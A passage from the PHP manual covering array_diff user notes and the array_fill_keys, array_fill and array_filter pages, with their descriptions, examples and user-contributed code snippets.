    $arr2 = func_get_arg(1);
    if(!is_array($arr1) || !is_array($arr2))
        return false;
    foreach($arr2 as $remove){
        foreach($arr1 as $k=>$v){
            if((string)$v === (string)$remove){ //NOTE: if you need the diff to be STRICT, remove both the '(string)'s
                unset($arr1[$k]);
                break; //That's pretty much the only difference from the real array_diff :P
            }
        }
    }
    //Handle more than 2 arguments
    $c = $args;
    while($c > 2){
        $c--;
        $arr1 = array_diff_once($arr1, func_get_arg($args-$c+1));
    }
    return $arr1;
}
$arr1 = Array("blue", "four"=>4, "color"=>"red", "blue", "green", "green", "name"=>"jon", "green");
$arr2 = Array("4", "red", "blue", "green");
print_r(array_diff_once($arr1, $arr2));
?>
This prints:
Array ( [1] => blue [3] => green [name] => jon [4] => green )

Note that it removes the elements left to right, opposite to what you might expect; in my case the order of elements had no importance. Fixing that would require a small variation.
tim at php dot user 05-Jun-2007 05:06
The description is wrong, array_diff() returns an array consisting of all elements in $array1 that are not in $array2. The example shows this.

Thats how it works on my php anyway.
ahigerd at stratitec dot com 01-Feb-2007 11:30
An earlier comment suggested using array_merge() to reindex the array. While this will work, array_values() is about 30-40% faster and accomplishes the same task.
03-Aug-2006 09:30
array_diff provides a handy way of deleting array elements by their value, without having to unset it by key, through a lengthy foreach loop and then having to rekey the array.

<?php

//pass value you wish to delete and the array to delete from
function array_delete( $value, $array)
{
    $array = array_diff( $array, array($value) );
    return $array;
}
?>
Colin 25-Jul-2006 06:44
Undocumented return:  it appears this will return NULL if an error occurs (e.g., an argument is not an array) and is not caught.

<?
@array_diff(NULL, array(1));
@array_diff(array(1), NULL);
@array_diff();
?>

All return NULL.  (Note the "@")
ben dot lancaster at design-ontap dot co dot uk 08-Jul-2006 01:57
One common caveat of this function is that if the arrays match, an empty array is return, not a strict boolean. E.g.:

<?php
$array1 = $array2 = array('a','b','c');

var_dump(array_diff($array1,$array2));
/*
 *Returns:
 * array(0) {
 * }
 */
?>
pavlicic at NOSPAM dot hotmail dot com 09-Mar-2006 10:55
<?php

// first array
$vid_player = $vm->getVideosByPlayer($player);

// second array
$vid_playlist = $vm->getVideosByPlaylist($playlist);

// this will not work...
$vid_player = array_diff($vid_player, $vid_playlist);

// but if you do this first...
$videos = array();
foreach ( $vid_player as $player )
{
    if ( $vid_playlist != null )
    {
        foreach ( $vid_playlist as $video )
        {
            if ( $player->id == $video->id )
                $videos[] = $player;
        }
    }
}

// this will work...
$vid_player = array_diff($vid_player, $videos);

?>
The first array_diff() compares two arrays only to find out that all the objects are unique!
Jappie 22-Jan-2006 07:40
Sorry for the bug in my last comment (probably rightfully removed by the admins).
If you want to compare more than 2 arrays, or don't know how many arrays need to be compared, this is your function:

<?php
# An extention to array_diff:
# It returns an array of all values not present in all arrays given. If '$strict' is true,
# it returns all values not present or not in the same order in all arrays given. The
# arrays to compare must be placed in another array, which is used as argument '$arrays'.
# Returns false if the '$arrays' is invalid.
function array_rdiff ($arrays, $strict = false) {
    # check if argument is valid.
    if (!is_array ($arrays))
        return false;
    foreach ($arrays as $array)
        if (!is_array ($array))
            return false;

    # set working variables
    $diff    = array ();
    $amount  = count ($arrays);
    $needles = array_shift ($arrays);

    # compare
    for ($n = 0; $n < $amount; $n++) {
        for ($m = 0; $needles[$m]; $m++) {
            $found     = true;
            $positions = array ($m);
            foreach ($arrays as $haystack) {
                if (($pos = array_search ($needles[$m], $haystack)) === false)
                    $found = false;
                if ($strict)
                    $positions[] = $pos;
            }
            if (!$found)
                $diff[] = $needle;
            elseif ($strict && (count (array_unique ($positions)) > 1))
                $diff[] = $needle;
        }
        $arrays[] = $needles;
        $needles  = array_shift ($arrays);
    }
    return array_unique ($diff);
}
?>
Simon Riget at paragi.dk 22-Jan-2006 02:27
A simple multidimentional key aware array_diff function.

<?php
function arr_diff($a1,$a2){
  foreach($a1 as $k=>$v){
    unset($dv);
    if(is_int($k)){
      // Compare values
      if(array_search($v,$a2)===false) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[]=$dv;
    }else{
      // Compare noninteger keys
      if(!$a2[$k]) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[$k]=$dv;
    }
  }
  return $diff;
}
?>

This function meets my immidiate needs but I'm shure it can be improved.
doug at NOSPAM dot thrutch dot co dot uk 06-Jan-2006 01:22
After spending half an hour scratching my head wondering why this function wasn't working I realised I had the arguments the wrong way round!

I needed to remove the contents of $array1 from $array2 so I tried:

<?php
$diff    = array_diff($members1, $members2);
?>

WRONG!! A quick swap around and things worked smoothly...

<?php
$diff    = array_diff($members2, $members1);
?>

Hope this saves someone a bit of bother
air at multi dot fi 04-Jan-2006 12:41
A small thing that caused me trouble today, wich I don't see listed on this page is that array_diff keeps the placing for the uniqe values, and removes the duplicated. This gives us empty fields in the array, wich caused me a lot of trouble. The solutions was simply to use array_merge() around the array_diff.

For example:
$array1 = array('blue', 'red', 'green');
$array2 = array('red');

array_diff($array1, $array2);

Will give us:
------
Array
(
   [0] => red
   [1] =>
   [2] => green
)

But if we use:

array_merge(array_diff($array1, $array2));

We will get:
------
Array
(
   [0] => red
   [1] => green
)
Viking Coder 03-Jan-2006 06:07
To anybody wanting a double-sided array_diff - mentioned by rudigier at noxx dot at. Remember, array_diff gives you everything in the first array that isn't in the subsequent arrays.

$array1=array('blue','red','green');
$array2=array('blue','yellow','green');

array_merge(array_diff($array1, $array2),array_diff($array2, $array1));

Result
------
Array
(
    [0] => red
    [1] => yellow
)
white_phoenix at ru dot ru 15-Dec-2005 08:37
To: effectpenguin at antarctida dot ru
Re: interesting effect
<?php
function arraycpy(&$target,&$array)
{
 if (!is_array($target)) {$target = array();}
 foreach($array as $k=>$v) {if ($k != "GLOBALS") {$target[$k] = $v;}}
}
arraycpy($old,$GLOBALS);
// some actions with variables:
$homer = "beer";
arraycpy($new,$GLOBALS);
$diff = array_diff($new,$old);
var_dump($diff);
?>
array(1) {
  ["homer"]=>
  string(4) "beer"
}
Windows NT WPX_NB 5.1 build 2600 PHP/5.0.4
rafmav 20-Apr-2005 01:24
Here is a few functions to do a fast diff between two arrays in a few lines.
You can use it with other functions described in the function array_merge : array_merge_replace from an other user, and two functions using it : array_merge_diff and array_merge_diff_reverse.
Note that the keys are preserved!
<?
// returns a two dimensions array with the deleted data
// and the added data
function array_diff_both($new,$old)
{
    $del=array_diff_assoc($old,$new);
    $add=array_diff_assoc($new,$old);
    return $diff=array("del"=>$del, "add"=>$add);
}

// returns a two dimensions array with the equal data,
// deleted data and the added data
function array_diff_all($arr_new,$arr_old)
{
    $arr_equ=array_intersect_assoc($arr_new,$arr_old);
    $arr_del=array_diff_assoc($arr_old,$arr_new);
    $arr_add=array_diff_assoc($arr_new,$arr_old);
    return $diff=array("equ"=>$arr_equ, "del"=>$arr_del, "add"=>$arr_add);
}
?>
j dot j dot d dot mol at ewi dot tudelft dot nl 31-Dec-2004 09:34
Here is some code to take the difference of two arrays. It allows custom modifications like prefixing with a certain string (as shown) or custom compare functions.

<?php
 // returns all elements in $all which are not in $used in O(n log n) time.
  // elements from $all are prefixed with $prefix_all.
  // elements from $used are prefixed with $prefix_used.
  function filter_unused( $all, $used, $prefix_all = "", $prefix_used = "" ) {
      $unused = array();

      // prefixes are not needed for sorting
      sort( $all );
      sort( $used );

      $a = 0;
      $u = 0;

      $maxa = sizeof($all)-1;
      $maxu = sizeof($used)-1;

      while( true ) {
          if( $a > $maxa ) {
              // done; rest of $used isn't in $all
              break;
          }
          if( $u > $maxu ) {
              // rest of $all is unused
              for( ; $a <= $maxa; $a++ ) {
                  $unused[] = $all[$a];
              }
              break;
          }

          if( $prefix_all.$all[$a] > $prefix_used.$used[$u] ) {
              // $used[$u] isn't in $all?
              $u++;
              continue;
          }

          if( $prefix_all.$all[$a] == $prefix_used.$used[$u] ) {
              // $all[$a] is used
              $a++;
              $u++;
              continue;
          }

          $unused[] = $all[$a];

          $a++;
      }

      return $unused;
  }
?>
19-Nov-2003 01:54
From the page:
Note:  Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff($array1[0], $array2[0]);

I've found a way to bypass that. I had 2 arrays made of arrays.
I wanted to extract from the first array all the arrays not found in the second array. So I used the serialize() function:

<?php
function my_serialize(&$arr,$pos){
  $arr = serialize($arr);
}

function my_unserialize(&$arr,$pos){
  $arr = unserialize($arr);
}

 //make a copy
$first_array_s = $first_array;
$second_array_s = $second_array;

// serialize all sub-arrays
array_walk($first_array_s,'my_serialize');
array_walk($second_array_s,'my_serialize');

// array_diff the serialized versions
$diff = array_diff($first_array_s,$second_array_s);

// unserialize the result
array_walk($diff,'my_unserialize');

// you've got it!
print_r($diff);
?>
r dot kirschke at gmx dot net 24-Mar-2003 10:26
Are you looking for a function which returns an edit script (a set of insert and delete instructions on how to change one array into another)? At least, that's what I hoped to find here, so here's some code based on http://www.cs.arizona.edu/people/gene/PAPERS/diff.ps :

<?php
function diff_rek(&$a1,&$a2,$D,$k,&$vbck)
{
 $x=$vbck[$D][$k]; $y=$x-$k;
 if ($D==0)
 {
  if ($x==0) return array(array(),array());
  else
  return array(array_slice($a1,0,$x),array_fill(0,$x,"b"));
 }
 $x2=$vbck[$D-1][$k+1];
 $y2=$vbck[$D-1][$k-1]-($k-1);
 $xdif=$x-$x2; $ydif=$y-$y2;
 $l=min($x-$x2,$y-$y2);
 $x=$x-$l;
 $y=$y-$l;
 if ($x==$x2)
 {
   $res=diff_rek($a1,$a2,$D-1,$k+1,$vbck);
   array_push($res[0],$a2[$y-1]);
   array_push($res[1],"2");
   if ($l>0)
   {
    $res[0]=array_merge($res[0],array_slice($a2,$y,$l));
    $res[1]=array_merge($res[1],array_fill(0,$l,"b"));
   }
 }
 else
 {
   $res=diff_rek($a1,$a2,$D-1,$k-1,$vbck);
   array_push($res[0],$a1[$x-1]);
   array_push($res[1],"1");
   if ($l>0)
   {
    $res[0]=array_merge($res[0],array_slice($a1,$x,$l));
    $res[1]=array_merge($res[1],array_fill(0,$l,"b"));
   }
 }
 return $res;
}

function arr_diff(&$a1,&$a2)
{
 $max=70;
 $c1=count($a1);
 $c2=count($a2);
 $v[1]=0;
 for ($D=0; $D<=$max; $D++)
 {
   for ($k=-$D; $k<=$D; $k=$k+2)
  {
   if (($k==-$D) || ($k!=$D && $v[$k-1]<$v[$k+1]))
    $x=$v[$k+1];
   else
    $x=$v[$k-1]+1;
   $y=$x-$k;
   while (($x<$c1)&&($y<$c2)&&($a1[$x]==$a2[$y]))
    {
     $x++;
     $y++;
    }
    $v[$k]=$x;
    if (($x>=$c1)&&($y>=$c2))
   {
    $vbck[$D]=$v;
    return diff_rek($a1,$a2,$D,$c1-$c2,$vbck);
   };
  }
  $vbck[$D]=$v;
 };
 return -1;
}
?>

This works on arrays of all elements for which the operator "==" is defined.
arr_dif($a1,$a2) returns an array of two arrays:
$result[0] = array of elements from $a1 and $a2
$result[1] = array of chars - one for each element from $result[0]:
 "1" : The corresponding element is from $a1
 "2" : The corresponding element is from $a2
 "b" : The correspondig element is from both source arrays
The function returns -1, when the number of different elements is greater than $max

Example:
$a1=array("hello","world");
$a2=array("good","bye","world");
=> arr_diff($a1,$a2) = array(array("hello","good","bye","world"), array("1","2","2","b"));
csaba2000 at yahoo dot com 25-Feb-2003 10:58
<?php
function array_key_diff($ar1, $ar2) {  // , $ar3, $ar4, ...
    // returns copy of array $ar1 with those entries removed
    // whose keys appear as keys in any of the other function args
    $aSubtrahends = array_slice(func_get_args(),1);
    foreach ($ar1 as $key => $val)
        foreach ($aSubtrahends as $aSubtrahend)
            if (array_key_exists($key, $aSubtrahend))
                unset ($ar1[$key]);
    return $ar1;
}

$a = array("c" => "catty", "b" => "batty", "a" => "aunty", 5 => 4, 2.9 => 7, 11, "n" => "nutty");
$b = array(9, "d" => "ditty", "b" => "bratty", "a" => null, 10, 13);
$c = array_key_diff ($a, $b, array(5 => 6));
?>

$c is then equivalent to array('c' => 'catty', 6 => 11, 'n' => 'nutty')

Csaba Gabor from New York
ds2u at the hotmail dot com 24-Feb-2003 01:22
Yes you can get rid of gaps/missing keys by using:

<?php
$result = array_values(array_diff($array1,$array2));
?>

But to drop the storage of void spaces (actually a line feed) which are irritatingly indexed when reading from files - just use difference:

<?php
$array = array ();
$array[0] = "\n";
$result = array_diff($result,$array);
?>

dst
drNOSPAMtdiggersSPAMNO at hotmail dot com 06-Aug-2002 10:10
array_diff does not have buggy behavior as described above.  The problem stems from calling array_diff() each time in the loop, therefore regererating a new array with an index always at the beginning EVERY time, so each will always pick the first entry.  This is not buggy, but in fact what you've told the program to do :)  The solution is not as much a solution, but properly instructing the program what to do!

Cheers!
TheoDiggers
SeanECoates at !donotspam!yahoo dot ca 16-Oct-2001 07:43
I just came upon a really good use for array_diff(). When reading a dir(opendir;readdir), I _rarely_ want "." or ".." to be in the array of files I'm creating. Here's a simple way to remove them:

<?php
 $someFiles = array();
 $dp = opendir("/some/dir");
 while($someFiles[] = readdir($dp));
 closedir($dp);

 $removeDirs = array(".","..");
 $someFiles = array_diff($someFiles, $removeDirs);

 foreach($someFiles AS $thisFile) echo $thisFile."\n";
?>

S


Fill an array with values, specifying keys

  • « array_diff
  • array_fill »
  • PHP Manual
  • Array Functions
  • Fill an array with values, specifying keys

array_fill_keys

(PHP 5 >= 5.2.0)

array_fill_keys — Fill an array with values, specifying keys

Description

array array_fill_keys ( array $keys , mixed $value )

Fills an array with the value of the value parameter, using the values of the keys array as keys.

Parameters

keys

Array of values that will be used as keys. Illegal values for key will be converted to string.

value

Value to use for filling

Return Values

Returns the filled array

Examples

Example #1 array_fill_keys() example

<?php
$keys = array('foo', 5, 10, 'bar');
$a = array_fill_keys($keys, 'banana');
print_r($a);
?>

The above example will output:

Array
(
    [foo] => banana
    [5] => banana
    [10] => banana
    [bar] => banana
)

See Also

  • array_fill() - Fill an array with values
  • array_combine() - Creates an array by using one array for keys and another for its values

User Contributed Notes

taylanaktepe at yahoo dot com 21-Jul-2014 06:46
$keys = array(1, 2, 3);

// Fill it with value.
$keys = array_fill_keys($keys, 'banana');
print_r($keys);

// Fill it different value.
$apples = array_fill_keys(array_keys($keys), 'apple');
print_r($apples);

// Output:
Array (
 [1] => banana
 [2] => banana
 [3] => banana
)
Array (
 [1] => apple
 [2] => apple
 [3] => apple
)
atul dot kr_singh at hotmail dot com 04-Jan-2013 08:39
If an associative array is used as the second parameter of array_fill_keys, then the associative array will be appended in all the values of the first array.
e.g.
<?php
$array1 = array(
    "a" => "first",
    "b" => "second",
    "c" => "something",
    "red"
);

$array2 = array(
    "a" => "first",
    "b" => "something",
    "letsc"
);

print_r(array_fill_keys($array1, $array2));
?>

The output will be
Array(
    [first] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [second] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [something] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [red] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    )
)
sergli at nigma dot ru 25-May-2012 08:53
<?php
$a = array("1");

var_dump(array_fill_keys($a, "test"));
?>

array(1) {
  [1]=>
  string(4) "test"
}

now string key "1" become an integer value 1, be careful.
matrebatre 20-Jun-2008 04:28
This function does the same as:
<?php
$array = array_combine($keys,array_fill(0,count($keys),$value));
?>
phydeaux 14-May-2008 07:26
Scratchy's version still doesn't work like the definition describes.  Here's one that can take a mixed variable as the second parameter, defaulting to an empty string if it's not specified.  Don't know if this is exactly how the function works in later versions but it's at least a lot closer.

function array_fill_keys($target, $value = '') {
    if(is_array($target)) {
        foreach($target as $key => $val) {
            $filledArray[$val] = is_array($value) ? $value[$key] : $value;
        }
    }
    return $filledArray;
}

This works for either strings or numerics, so if we have

$arr1 = array(0 => 'abc', 1 => 'def');
$arr2 = array(0 => 452, 1 => 128);
$arr3 = array(0 => 'foo', 1 => 'bar');

then

array_fill_keys($arr1,$arr2)
returns: [abc] => 452, [def] => 128

array_fill_keys($arr1,0)
returns: [abc] => 0, [def] => 0

array_fill_keys($arr2,$arr3)
returns: [452] => foo, [128] => bar

array_fill_keys($arr3,'BLAH')
returns: [foo] => BLAH, [bar] => BLAH

and array_fill_keys($arr1)
returns: [abc] =>, [def] =>
Scratchy 02-May-2008 11:18
RE: bananasims at hotmail dot com

I also needed a work around to not having a new version of PHP and wanting my own keys. bananasims code doesn't like having an array as the second parameter...

Here's a slightly modified version than can handle 2 arrays as inputs:

//we want these values to be keys
$arr1 = (0 => "abc", 1 => "def");
/we want these values to be values
$arr2 = (0 => 452, 1 => 128);

function array_fill_keys($keyArray, $valueArray) {
    if(is_array($keyArray)) {
        foreach($keyArray as $key => $value) {
            $filledArray[$value] = $valueArray[$key];
        }
    }
    return $filledArray;
}

array_fill_keys($arr1, $arr2);

returns:
abc => 452, def =>128
bananasims at hotmail dot com 19-Dec-2006 02:03
Some of the versions do not have this function.
I try to write it myself.
You may refer to my script below

function array_fill_keys($array, $values) {
    if(is_array($array)) {
        foreach($array as $key => $value) {
            $arraydisplay[$array[$key]] = $values;
        }
    }
    return $arraydisplay;
}


Fill an array with values

  • « array_fill_keys
  • array_filter »
  • PHP Manual
  • Array Functions
  • Fill an array with values

array_fill

(PHP 4 >= 4.2.0, PHP 5)

array_fill — Fill an array with values

Description

array array_fill ( int $start_index , int $num , mixed $value )

Fills an array with num entries of the value of the value parameter, keys starting at the start_index parameter.

Parameters

start_index

The first index of the returned array.

If start_index is negative, the first index of the returned array will be start_index and the following indices will start from zero (see example).

num

Number of elements to insert. Must be greater than zero.

value

Value to use for filling

Return Values

Returns the filled array

Errors/Exceptions

Throws a E_WARNING if num is less than one.

Examples

Example #1 array_fill() example

<?php
$a = array_fill(5, 6, 'banana');
$b = array_fill(-2, 4, 'pear');
print_r($a);
print_r($b);
?>

The above example will output:

Array
(
    [5]  => banana
    [6]  => banana
    [7]  => banana
    [8]  => banana
    [9]  => banana
    [10] => banana
)
Array
(
    [-2] => pear
    [0] => pear
    [1] => pear
    [2] => pear
)

Notes

See also the Arrays section of manual for a detailed explanation of negative keys.

See Also

  • array_fill_keys() - Fill an array with values, specifying keys
  • str_repeat() - Repeat a string
  • range() - Create an array containing a range of elements

User Contributed Notes

rn at alpha9marketing dot com 25-Sep-2014 01:47
PHP emits a warning if array_fill's $num argument is zero. This is a bit annoying if you compute a desired array length. As a workaround, one can use array_pad, which is less strict.

I.e.
<?php
$desiredLength = 0;

// $noWorky = array_fill(0, $desiredLength, "a");
$worky = array_pad(array(), $desiredLength, "a");
?>
anatoliy at ukhvanovy dot name 16-Jun-2014 07:00
If you need negative indices:
<?php
$b = array_fill(-2, 4, 'pear');//this is not what we want
$c = array_fill_keys(range(-2,1),'pear');//these are negative indices
print_r($b);
print_r($c);
?>
Here is result of the code above:
Array
(
    [-2] => pear
    [0] => pear
    [1] => pear
    [2] => pear
)
Array
(
    [-2] => pear
    [-1] => pear
    [0] => pear
    [1] => pear
)
user at stress dot com 28-Jan-2014 08:34
$numeri = array();
        if ($n >= 2) {
            $numeriPrimi = array();
            //for($y=0; $y <= $n; $y++) $numeri[$y] = 1;
            $numeri=array_fill(0, ($n+1), 1);
            $maxChk = (int)sqrt($n);
            for ($x=2; $x <= $maxChk; $x++) {
                if (is_np($x, $numeriPrimi)) {
                    $numeriPrimi[] = $x;
                    for ($t = 2; ($x*$t) <= $n; $t++) {
                        unset($numeri[$x*$t]);
                    }
                }
            }
        }
        unset($numeri[0]);
        unset($numeri[1]);
        $numeriPrimi = array_keys($numeri);
        return $numeriPrimi;
mchljnk at NOSPAM dot gmail dot com 10-Nov-2013 12:07
Using objects with array_fill may cause unexpected results. Consider the following:

<?php
class Foo {
   public $bar = "banana";
}

//fill an array with objects
$array = array_fill(0, 2, new Foo());

var_dump($array);
/*
array(2) {
  [0]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(6) "banana"
  }
  [1]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(6) "banana"
  }
} */

//now we change the attribute of the object stored in index 0
//this actually changes the attribute for EACH object in the ENTIRE array
$array[0]->bar = "apple";

var_dump($array);
/*
array(2) {
  [0]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(5) "apple"
  }
  [1]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(5) "apple"
  }
}
 */
?>

Objects are filled in the array BY REFERENCE. They are not copied for each element in the array.
miguelxpain at gmail dot com 25-Feb-2012 03:04
I made this function named "array_getMax" that returns te maximum value and index, from array:

<?php
//using array_search_all by helenadeus at gmail dot com

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

function array_getMax($array){

    $conteo=array_count_values($array);

    if( count($conteo)==1 ){//returns full array when all values are the same.
        return  $array;
    }

    arsort($array);

    //$antValue=null;
    $maxValue=null;
    $keyValue=null;
    foreach($array as $key=>$value){
        if($maxValue==null){
            $maxValue=$value;
            $keyValue=$key;
            break;
        }
    }

    $resultSearch=array_search_all($maxValue, $array);

   return  array_fill_keys($resultSearch, $maxValue);

}

//example
  $arreglo=array('e1'=>99,'e2'=>'99','e3'=>1,'e4'=>1,'e5'=>98);

    var_dump(array_getMax($arreglo));

//output
/*
array(2) {
  ["e1"]=>
  int(99)
  ["e2"]=>
  int(99)
}
*/
?>

I hope some one find this usefull
csst0266 at cs dot uoi dot gr 11-Aug-2004 07:32
This is what I recently did to quickly create a two dimensional array (10x10), initialized to 0:

<?php
  $a = array_fill(0, 10, array_fill(0, 10, 0));
?>

This should work for as many dimensions as you want, each time passing to array_fill() (as the 3rd argument) another array_fill() function.
25-Aug-2002 10:59
array_fill() cannot be used to setup only missing keys in an array. This  may be necessary for example before using implode()  on a sparse filled array.
The solution is to use this function:

<?php
function array_setkeys(&$array, $fill = NULL) {
  $indexmax = -1;
  for (end($array); $key = key($array); prev($array)) {
    if ($key > $indexmax)
      $indexmax = $key;
  }
  for ($i = 0; $i <= $indexmax; $i++) {
    if (!isset($array[$i]))
      $array[$i] = $fill;
  }
  ksort($array);
}
?>

This is usefull in some situations where you don't know which key index was filled and you want to preserve the association between a positioned field in an imploded array and the key index when exploding it.


Filters elements of an array using a callback function

  • « array_fill
  • array_flip »
  • PHP Manual
  • Array Functions
  • Filters elements of an array using a callback function

array_filter

(PHP 4 >= 4.0.6, PHP 5)

array_filter — Filters elements of an array using a callback function

Description

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved.

Parameters

array

The array to iterate over

callback

The callback function to use

If no callback is supplied, all entries of array equal to FALSE (see converting to boolean) will be removed.

flag

Flag determining what arguments are sent to callback:

  • ARRAY_FILTER_USE_KEY - pass key as the only argument to callback instead of the value
  • ARRAY_FILTER_USE_BOTH - pass both value and key as arguments to callback instead of the value

Return Values

Returns the filtered array.

Changelog

Version | Description
5.6.0 | Added optional flag parameter and constants ARRAY_FILTER_USE_KEY and ARRAY_FILTER_USE_BOTH

Examples

Example #1 array_filter() example

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>

The above example will output:

Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

Example #2 array_filter() without callback

<?php

$entry = array(
             0 => 'foo',
             1 => false,
             2 => -1,
             3 => null,
             4 => ''
          );

print_r(array_filter($entry));
?>

The above example will output:

Array
(
    [0] => foo
    [2] => -1
)

Example #3 array_filter() with flag

<?php

$arr = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];

var_dump(array_filter($arr, function($k) {
    return $k == 'b';
}, ARRAY_FILTER_USE_KEY));

var_dump(array_filter($arr, function($v, $k) {
    return $k == 'b' || $v == 4;
}, ARRAY_FILTER_USE_BOTH));
?>

The above example will output:

array(1) {
  ["b"]=>
  int(2)
}
array(2) {
  ["b"]=>
  int(2)
  ["d"]=>
  int(4)
}

Notes

Caution

If the array is changed from the callback function (e.g. element added, deleted or unset) the behavior of this function is undefined.

See Also

  • array_map() - Applies the callback to the elements of the given arrays
  • array_reduce() - Iteratively reduce the array to a single value using a callback function
  • array_walk() - Apply a user supplied function to every member of an array

User Contributed Notes

m dot abbasian at outlook dot com 18-Oct-2014 05:58
If you want a quick way to Find Numbers ( remove NULL, FALSE and Empty Strings (""), all Strings) but leave values of 0 (zero)
eg:
<?php
/*
 Find Numbers (removes all NULL, FALSE and Empty Strings, all Strings) but leaves 0 (zero) values
*/

$result = array_filter( array( "0",0,1,2,3,'text' ) , 'is_numeric' );

var_dump($result);
/*
  array (size=5)
  0 => string '0' (length=1)
  1 => int 0
  2 => int 1
  3 => int 2
  4 => int 3
*/
?>
manwe at inversion dot pl 21-Sep-2014 09:33
array_filter remove also FALSE and 0. To remove only NULL's use:

$af = [1, 0, 2, null, 3, 6, 7];

function is_not_null($val){
    return !is_null($val);
}
$af = array_filter($af, 'is_not_null');
marc dot gray at gmail dot com 29-Apr-2014 07:44
My favourite use of this function is converting a string to an array, trimming each line and removing empty lines:

<?php
$array = array_filter(array_map('trim', explode("\n", $string)), 'strlen');
?>

Although it states clearly that array keys are preserved, it's important to note this includes numerically indexed arrays. You can't use a for loop on $array above without processing it through array_values() first.
Anonymous 02-Apr-2014 07:26
<?php
function arrayFilter($input, $callback = null) {
    foreach($input as $key => &$value) {
        if(is_array($value)) {
            $value = arrayFilter($value, $callback);
            if(is_array($value)) {
                if((bool)$value === false) unset($input[$key]);
            }
            else {
                if((bool)($callback ? $callback($value) : $value) === false) unset($input[$key]);
            }
        }
        else {
            if((bool)($callback ? $callback($value) : $value) === false) unset($input[$key]);
        }
    }
    return $input;
}
?>
avl 04-Nov-2013 09:25
nice trick:

$array_out = array_filter($array_in, function($var) use($array_other) {
            return in_array($var, $array_other) ? true : false;
});
qeremy [atta] gmail [dotta] com 03-Oct-2013 12:12
Here is key-passed array_filter function.

<?php
function arrayfilter(array $array, callable $callback = null) {
    if ($callback == null) {
        $callback = function($key, $val) {
            return (bool) $val;
        };
    }
    $return = array();
    foreach ($array as $key => $val) {
        if ($callback($key, $val)) {
            $return[$key] = $val;
        }
    }
    return $return;
}

$test_array = array('foo', 'a' => 'the a', 'b' => 'the b', 11 => 1101, '', null, false, 0);

$array = arrayfilter($test_array, function($key, $val) {
   return is_string($key);
});
print_r($array);
/*
Array
(
    [a] => the a
    [b] => the b
)
*/

$array = arrayfilter($test_array);
print_r($array);
/*
Array
(
    [0] => foo
    [a] => the a
    [b] => the b
    [11] => 1101
)
*/
?>
tomasz at trejderowski dot pl 24-Sep-2013 05:16
Read "callback" parameter note with understanding (as well as "converting to boolean" chapter). Keep in midn, that 0, both:

* integer: 0 and
* float: 0.00

evaluates to boolean FALSE! And therefore all array nodes, that have such value WILL ALSO BE FILTERED by array_filter(), with default call back. Unless you provide your own callback function, that will (for example) filter only empty strings and NULLs, but leave "zeros" untouched.

Some people (including me) might be surprised to find this out.
keksnicoh at googlemail dot com 12-Aug-2013 08:01
Usefull invertation of array_filter
<?php
$data = array(...)
$noArrayData = array_filter_inverse($data, 'is_array');

/**
 * Inverts the result of the filter callback.
 * @param array $data
 * @param callable $f
 * @return array
 */
function array_filter_inverse(array $data, callable $f)
{
    return array_filter($data, function() use(&$f) {
        return ! call_user_func_array($f, func_get_args());
    });
}
?>
pavian at gmail dot com 25-Jul-2013 07:04
Regarding to strlen() related notes, if you want to filter NULL, FALSE and empty strings from the array, just omit callback function, it does the same trick (but easier).
<?php

  $clean = array_filter($array);

?>
Alix Axel 10-May-2013 09:56
If you need this function to return falsy results (like "0"), yet discard truly empty ones (that have a 0 string length, like null, false, ''), you can use strlen() as the callback:

<?php
array_filter($array, 'strlen');
?>
espertalhao04 at hotmail dot com 05-Apr-2013 08:58
breich at reich-consulting dot net  made an awesome function, but it has a poor performance, and is bloated.

here is a shorter version:
<?php
function array_remove_keys($array, $keys = array(), $callback=null) {
    if(empty($array) || (! is_array($array))) {
        return $array;
    }

    if(is_string($keys) && !is_array($keys=explode(',',$keys)))
    {
        return $array;
    }

    foreach($keys as $key) {
        $key=trim($key,' ');
        if(!$callback || !$callback($array[$key],$key))
            unset($array[$key]);
    }
    return $array;
}
?>

i decided to let here stay 2 conditions, even though they can be rewritten to 1.

unsetting is faster than array_diff_keys.

sometimes, people separate strings like 'a, b, c' or 'a , b , c'...

i added support for those, since they are essentially the same list.

i also added a callback option, which you specify a function and it will give the value and the key to it.

p.s.: php uses short-circuit evaluation. example:
!$callback || !$callback($array[$key],$key)

if $callback is empty, it doesn't try to run $callback().
why?
because !$callback || !$callback($array[$key],$key) will be true, no matter the value of !$callback().
so, to save resources and time, php jumps if !$callback is true
g dot kuizinas at anuary dot com 26-Mar-2013 08:10
<?php
function array_filter_recursive ($data) {
    $original = $data;

    $data = array_filter($data);

    $data = array_map(function ($e) {
        return is_array($e) ? array_filter_recursive($e) : $e;
    }, $data);

    return $original === $data ? $data : array_filter_recursive($data);
}

$data = ['a' => 0, 'b' => [], 'c' => [[]], 'd' => [[[[]]]], 'e' => 'foo', 'f' => [[['a']]], [true], [[],['a'], [true, false]]];

$data = array_filter_recursive($data);
?>
tx at tshwarelo-leaka dot co dot za 26-Mar-2013 06:26
